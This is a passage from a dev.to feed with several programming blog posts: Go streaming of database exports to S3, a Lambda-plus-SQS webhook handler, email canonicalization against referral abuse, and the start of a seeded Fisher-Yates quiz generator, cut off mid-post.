    &lt;span class="n"&gt;upErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;s3Uploader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UploadStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s3Key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"application/gzip"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"content-encoding"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"gzip"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;upErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;pr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CloseWithError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;upErr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;// tell producer to stop if still running&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Errorf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"s3 upload failed: %w"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;upErr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;rowCount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few subtleties that look small but matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;defer gz.Close()&lt;/code&gt; is registered before &lt;code&gt;defer pw.Close()&lt;/code&gt; and runs first.&lt;/strong&gt; Gzip needs to flush its trailer bytes through &lt;code&gt;pw&lt;/code&gt;. If the pipe closed first, the gzip stream on the consumer side would be truncated and unreadable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;CloseWithError&lt;/code&gt; on both ends.&lt;/strong&gt; If the producer hits a DB error mid-iteration, it closes &lt;code&gt;pw&lt;/code&gt; with that error. The consumer reading &lt;code&gt;pr&lt;/code&gt; sees &lt;code&gt;ErrClosedPipe&lt;/code&gt; wrapping the cause, and &lt;code&gt;s3manager&lt;/code&gt; aborts the multipart upload, sending &lt;code&gt;AbortMultipartUpload&lt;/code&gt; to S3 — no orphaned partial uploads. The same trick goes the other way: if the S3 upload fails, we &lt;code&gt;pr.CloseWithError(upErr)&lt;/code&gt; so the producer's next &lt;code&gt;gz.Write&lt;/code&gt; returns and the goroutine exits instead of hanging.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No mutex needed.&lt;/strong&gt; &lt;code&gt;io.Pipe&lt;/code&gt; is its own synchronization primitive; the producer's writes serialize naturally against the consumer's reads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reading &lt;code&gt;rowCount&lt;/code&gt; after the call is safe&lt;/strong&gt; because &lt;code&gt;UploadStream&lt;/code&gt; only returns after &lt;code&gt;pr&lt;/code&gt; is fully drained, which only happens after the producer goroutine closes &lt;code&gt;pw&lt;/code&gt;. By the time we return, the producer is done writing to &lt;code&gt;rowCount&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What the numbers looked like after
&lt;/h2&gt;

&lt;p&gt;Same 466K-row table, same pod, same 1 GiB memory limit:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Before:&lt;/strong&gt; heap peaked around 700 MB; OOM-killed roughly 4 nights out of 5.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;After:&lt;/strong&gt; heap held flat at ~30 MB through the whole archive. Zero OOM kills since deploy.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Wall-clock time went up slightly (a couple of percent) because we no longer issue one fat &lt;code&gt;PutObject&lt;/code&gt; — but that's a fair trade for not getting murdered by the kernel.&lt;/p&gt;

&lt;h2&gt;
  
  
  What streaming doesn't fix
&lt;/h2&gt;

&lt;p&gt;Worth being honest about the limits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;DB-side memory.&lt;/strong&gt; Some of the queries powering these archives do non-trivial joins. That's Postgres' problem, not the pod's. Streaming doesn't make the planner cheaper.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retry cost.&lt;/strong&gt; If the upload fails 90% of the way through, we re-iterate from row zero on retry. For 50M-row tables that's slow but still memory-flat. Idempotent multipart resumption is a follow-up, not a blocker.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;In-memory tree builds elsewhere.&lt;/strong&gt; Other parts of the system still build whole trees in memory before serializing. They're small enough today that it's fine, but it's the same anti-pattern waiting to bite.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The general lesson
&lt;/h2&gt;

&lt;p&gt;Whenever your data pipeline's memory usage scales with input size and you don't actually need random access to the data, you have a streaming bug waiting to happen. The fix is almost always the same set of primitives: a cursor on the source, an &lt;code&gt;io.Pipe&lt;/code&gt; for backpressure, a streaming codec in the middle, and a chunked uploader at the sink. Bound the working set to a few megabytes and the pipeline stops caring whether you throw a thousand rows at it or a billion.&lt;/p&gt;

</description>
      <category>dataengineering</category>
      <category>go</category>
      <category>kubernetes</category>
      <category>performance</category>
    </item>
    <item>
      <title>I built a strange webhook handler in NodeJS</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sat, 12 Aug 2023 06:16:16 +0000</pubDate>
      <link>https://dev.to/harishteens/i-built-a-strange-webhook-handler-in-nodejs-43b1</link>
      <guid>https://dev.to/harishteens/i-built-a-strange-webhook-handler-in-nodejs-43b1</guid>
      <description>&lt;p&gt;One fine fintech startup wanted to build a webhook payment handler. This article will walk through how my NodeJS code was able to handle webhook deliveries like a piece of cake.&lt;/p&gt;

&lt;h3&gt;
  
  
  Context
&lt;/h3&gt;

&lt;p&gt;This client lives and breaths Java and it was also related to payment. So he insisted on using Java, multithreading, Thread pools and all of that shit which I did not understand. And he cared too much about getting it done asap! In fact thats why he came to me cause I had built it already with Javascript. But how am I going to make my single threaded Javascript code handle huge traffic?&lt;/p&gt;

&lt;h3&gt;
  
  
  Objectives
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;The webhook payload needs to be validated, transformed and stored into a database.&lt;/li&gt;
&lt;li&gt;The webhook was delivered by a 3rd party, so a success response need to be sent back immediately after the delivery. We can't let the webhook get clogged by traffic!&lt;/li&gt;
&lt;li&gt;It was a startup, we did not want to spend too much time thinking about scaling and load balancing&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Brainstorming
&lt;/h3&gt;

&lt;p&gt;The API needs to be super responsive, so my first thought was to process it asynchronously.&lt;br&gt;
We were on AWS, so we could use EC2! but how are we going to handle scaling? I didn't want to get into that mess. Even with ELB(Elastic load balancer), still need to run multiple containers to process them parallelly.&lt;/p&gt;

&lt;p&gt;It hit me after a while, that we are actually fine if we have some delay in the processing. We just want to respond back to the webhook immediately and do not want the webhook server to become unresponsive.&lt;/p&gt;

&lt;p&gt;So instead of thinking parallel processing, I started to think how to optimise the response TAT. And we were totally fine with processing the requests with a delay if there is more. &lt;/p&gt;

&lt;p&gt;Finally the price, we already had an EC2 running for the APIs. So we need to use the same instance but again cant let the webhook bottleneck API. So our only go to is a lambda which is bad for most cases. But thats the best we could do right now.&lt;/p&gt;

&lt;h3&gt;
  
  
  The final spec
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnygpmsowd8of7ys39y6i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnygpmsowd8of7ys39y6i.png" alt=" " width="800" height="209"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have the API gateway connected to the Lambda function. The lambda function was on autoscale so it took care of traffic out of the box. The whole role of the function is to accept the request, push the message to SQS and respond back. This took just 100ms once the lambda is warm.&lt;br&gt;
The same EC2 used for APIs run another docker container that polls the queue every 30 seconds for new messages. If it finds any, it dequeues the message and processes it one by one. Any failure happening while processing wont affect the response sent to the 3rd party as its strictly decoupled. The response has already been sent!&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;I am not sure if this is the best way to build a webhook handler. But this was the quickest, cheapest solution I could come up with. Feel free to criticise and suggest better ideas.&lt;/p&gt;

&lt;p&gt;Follow me on Twitter: twitter.com/HarishTeens&lt;br&gt;
Follow me on GitHub: github.com/HarishTeens&lt;/p&gt;

</description>
      <category>api</category>
      <category>backend</category>
      <category>node</category>
      <category>aws</category>
    </item>
    <item>
      <title>You need to implement this email check</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Fri, 13 Jan 2023 11:29:11 +0000</pubDate>
      <link>https://dev.to/harishteens/you-need-to-implement-this-email-check-nhp</link>
      <guid>https://dev.to/harishteens/you-need-to-implement-this-email-check-nhp</guid>
      <description>&lt;p&gt;Are you a backend dev? And your existing email check logic looks something like this?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;UserDB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Email already exists&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Create account&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Your application is at risk! Keep reading&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What the heck is Email Canonicalization?
&lt;/h3&gt;

&lt;p&gt;Consider the below emails:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="//hello(home)@gmail.com"&gt;hello(home)@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="//hell.o@gmail.com"&gt;hell.o@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="//hell.o+nothing@gmail.com"&gt;hell.o+nothing@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you are treating all these as different emails, you are wrong ❌&lt;br&gt;&lt;br&gt;
The above emails are all treated as the same email address, is an example of a technique called "email canonicalization" that many email providers use to standardize email addresses for consistency and easier management.&lt;/p&gt;

&lt;p&gt;The canonical form of all the above emails post standardisation is &lt;a href="//hello@gmail.com"&gt;hello@gmail.com&lt;/a&gt;. Since Gmail doesn't bother about these mild modifications, emails sent to these different emails would land in a single Inbox allocated to &lt;a href="//hello@gmail.com"&gt;hello@gmail.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;There is not much information on the internet. But this is the textbook definition from RFC standard website: &lt;a href="https://www.rfc-editor.org/rfc/rfc6376#section-3.4" rel="noopener noreferrer"&gt;https://www.rfc-editor.org/rfc/rfc6376#section-3.4&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Some mail systems modify email in transit, potentially invalidating a&lt;br&gt;
  signature.  For most Signers, mild modification of email is&lt;br&gt;
  immaterial to validation of the DKIM domain name's use.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Why this matters?
&lt;/h3&gt;

&lt;p&gt;Let's say your application collects user emails like majority of the applications. If your check to find existing email directly compares the raw email address. The above 3 email addresses would be treated as 3 different individuals, leading to creation of 3 user accounts. One does not usually expect users to sign up with these mild variatons. But when there is an incentive to, this behaviour tend to happen.  &lt;/p&gt;

&lt;p&gt;At our company, every new user signup is rewarded. Both referrer and refree are eligible for the reward. Analysing our user data revealed these mild variations of emails being registered as different accounts. And this costed us as they were exploiting our referral program. One could easily  configure these mild variations on their Gmail. Since our systems would treat them as new email addresses, they were able to register, verify OTP that landed on the same Inbox and then refer themselves.&lt;/p&gt;
&lt;h3&gt;
  
  
  The npm package you need
&lt;/h3&gt;

&lt;p&gt;To abstract the logic for the check, I created this npm package &lt;a href="https://www.npmjs.com/package/canonical-email-generator" rel="noopener noreferrer"&gt;canonical-email-generator&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Installation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm i --save canonical-email-generator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So far the package refines the emails for these below cases:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Lowercasing&lt;/strong&gt;: converting all letters in the email address to lowercase before comparing or storing it. This helps to ensure that "&lt;a href="mailto:Hello@example.com"&gt;Hello@example.com&lt;/a&gt;" and "&lt;a href="mailto:hello@example.com"&gt;hello@example.com&lt;/a&gt;" are treated as the same email address.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing sub-addressing&lt;/strong&gt;: removing the "+" character and any text following it in the local part of the email address. For example, "&lt;a href="mailto:user+home@example.com"&gt;user+home@example.com&lt;/a&gt;" would be canonicalized to "&lt;a href="mailto:user@example.com"&gt;user@example.com&lt;/a&gt;".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing comments&lt;/strong&gt;: removing any text within parentheses in the local part of the email address. For example, "user(home)@example.com" would be canonicalized to "&lt;a href="mailto:user@example.com"&gt;user@example.com&lt;/a&gt;".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing leading or trailing whitespace&lt;/strong&gt;: removing any whitespace before or after the email address.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing dots&lt;/strong&gt;: removing dots from local part of the address, For example "&lt;a href="mailto:hell.o@gmail.com"&gt;hell.o@gmail.com&lt;/a&gt;" would be canonicalized to "&lt;a href="mailto:hello@gmail.com"&gt;hello@gmail.com&lt;/a&gt;"&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I would be actively maintaining it and adding more checks as I discover. So you're good to go.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implementing the better way
&lt;/h3&gt;

&lt;p&gt;The invalid account signup could be eradicated by converting the email to its canonical form before checking the database. But for that you need to store the canonical form in your database as well.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;canonicalizeEmail&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canonical-email-generator&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;canonicalizeEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;UserDB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;canEmail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;canEmail&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Email already exists&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Create account and store canonical email to DB&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yes it is an extra field in the same table or a separate table if you wish. But the extra storage could prevent a ton of invalid users being created. &lt;/p&gt;

&lt;p&gt;Potentially a single gmail inbox could be used to create infinite variations. Hence it's worthwhile to implement.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;Exact email comparison fails. It's bad.&lt;br&gt;
It is possible to generate infinite emails that lead to a canonical email.&lt;br&gt;
The inbox is uniquely identified by its canonical email.&lt;/p&gt;

&lt;p&gt;Hope you learnt something valuable ✨&lt;/p&gt;

&lt;p&gt;Find me on Twitter: &lt;a href="https://twitter.com/HarishTeens" rel="noopener noreferrer"&gt;@harishteens&lt;/a&gt;&lt;br&gt;
GitHub: &lt;a href="https://github.com/harishteens" rel="noopener noreferrer"&gt;@harishteens&lt;/a&gt;&lt;/p&gt;

</description>
      <category>data</category>
      <category>analytics</category>
      <category>marketing</category>
    </item>
    <item>
      <title>Quiz Maker Algorithm</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sun, 25 Sep 2022 09:19:01 +0000</pubDate>
      <link>https://dev.to/harishteens/quiz-maker-algorithm-527g</link>
      <guid>https://dev.to/harishteens/quiz-maker-algorithm-527g</guid>
      <description>&lt;h2&gt;
  
  
  Problem Statement
&lt;/h2&gt;

&lt;p&gt;Given D days and N users.&lt;br&gt;
Build a quiz maker that picks 5 random questions every day from the question set.&lt;br&gt;
Satisfying the below conditions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;the likelihood of two users having the same question on the same day is low.&lt;/li&gt;
&lt;li&gt;the questions are not repeated for any user.
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The question set is of length S, which is atleast (D x 5) to gurantee 2nd condition.  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Ofcourse we can make (N x D) number of questions to make this simple, but it is practically impossible to find those many questions. And to store all of them is a poor usage of storage.  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Solution
&lt;/h3&gt;

&lt;p&gt;The efficient way to do this is to build an algorithm that generates a list of length (D x 5) having numbers ranging from 1 to S. To locate the questions for today(T), we simply have to get the questions from [Tx5, Tx5 + 5].  &lt;/p&gt;

&lt;p&gt;For example if D = 3; S = 15; the lists of users could be&lt;br&gt;&lt;br&gt;
&lt;code&gt;[10, 2, 1, 12, 9, 14, 11, 6, 7, 4, 5, 0, 3, 8, 13]&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;[1, 0, 10, 3, 11, 7, 12, 2, 9, 6, 4, 13, 8, 14, 5]&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;[11, 13, 14, 1, 4, 12, 9, 0, 2, 3, 8, 5, 10, 6, 7]&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploring available solutions
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Generating a random list
&lt;/h3&gt;

&lt;p&gt;Let us begin to explore how we could generate this random list. I did some googling and found this useful website &lt;a href="https://www.random.org/sequences/" rel="noopener noreferrer"&gt;random.org&lt;/a&gt;. It was able to generate random sequences from 1 to N.&lt;br&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Folz2uqoa6k4w66211z0d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Folz2uqoa6k4w66211z0d.png" alt="random sequence of 1 to 15" width="800" height="802"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Problem Solved! Right? Not so soon, haha&lt;/p&gt;

&lt;p&gt;If we generate a random sequence for every user, we would have to store it somewhere on a database. Now there are two concerns with this approach:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Cost of storing a (D x 5) array for N users. For larger N, this might cost a lot.&lt;/li&gt;
&lt;li&gt;This is the biggest, if there were to be a leak in the API security and somebody was able to retrieve their list of questions for all days. Then they would know all the questions they are going to receive beforehand.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Hence need to take a different approach.&lt;/p&gt;
&lt;h3&gt;
  
  
  Deterministic Pseudorandom list
&lt;/h3&gt;

&lt;p&gt;To solve the above 2 problems, I decided not store the array anywhere in Database. Every day when a user requests for their question I shall generate the array in runtime and pick the questions for the day. But for it to work, I would have to generate a deterministic list of numbers for each user. Or else I would be generating random list of numbers every day for the same user. Fortunately &lt;a href="https://www.random.org/sequences/" rel="noopener noreferrer"&gt;random.org&lt;/a&gt; had that option as well.&lt;/p&gt;

&lt;p&gt;On Advanced Mode, you can seed the randomiser with an input string. So for every unique string, it gives a unique random sequence. It flashed that I could simply pass the &lt;code&gt;user_id&lt;/code&gt; and get their respective sequences.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuedxfzouk6asm03wc0yf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuedxfzouk6asm03wc0yf.png" alt="advanced mode" width="798" height="176"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxmvzgemfv7dgtrvox4gw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxmvzgemfv7dgtrvox4gw.png" alt="persistent random sequence" width="800" height="583"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Although their pricing plan was very generous, the fact that it could be done motivated me to build something of my own.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftudd936lfvhspwwwezw4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftudd936lfvhspwwwezw4.png" alt="pricing" width="800" height="474"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Walkthrough of my solution
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Fisher Yates Shuffle algorithm
&lt;/h3&gt;

&lt;p&gt;After digging for a while, I found about Fisher Yates Shuffle algorithm on a stack overflow post. The algorithm is brilliantly crafted. Here is a &lt;a href="https://bost.ocks.org/mike/shuffle/" rel="noopener noreferrer"&gt;link&lt;/a&gt; that contains beautiful visual explanation of Fisher Yates Shuffle. It is a prerequisite to go through it before you move ahead with this article. I've extended Fisher Yates and customised it according to my needs.&lt;/p&gt;

&lt;p&gt;I'll brief what the algorithm is, if in case you haven't checked the website. Fisher Yates Shuffle is an in-place shuffling algorithm that runs in O(n). The idea of it is to pick a random index and swap the element on the random index with the first index. If you repeat this N times decrementing your random range. At the end of it, you would have a shuffled array.  &lt;/p&gt;

&lt;p&gt;Would highly recommend going through the &lt;a href="https://bost.ocks.org/mike/shuffle/" rel="noopener noreferrer"&gt;link&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Extending Fisher Yates to give deterministic sequence
&lt;/h3&gt;

&lt;p&gt;Now that I knew about this. All I needed to do was, generate a list from 1 to S and run Fisher Yates on it. Then I would have my expected list.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
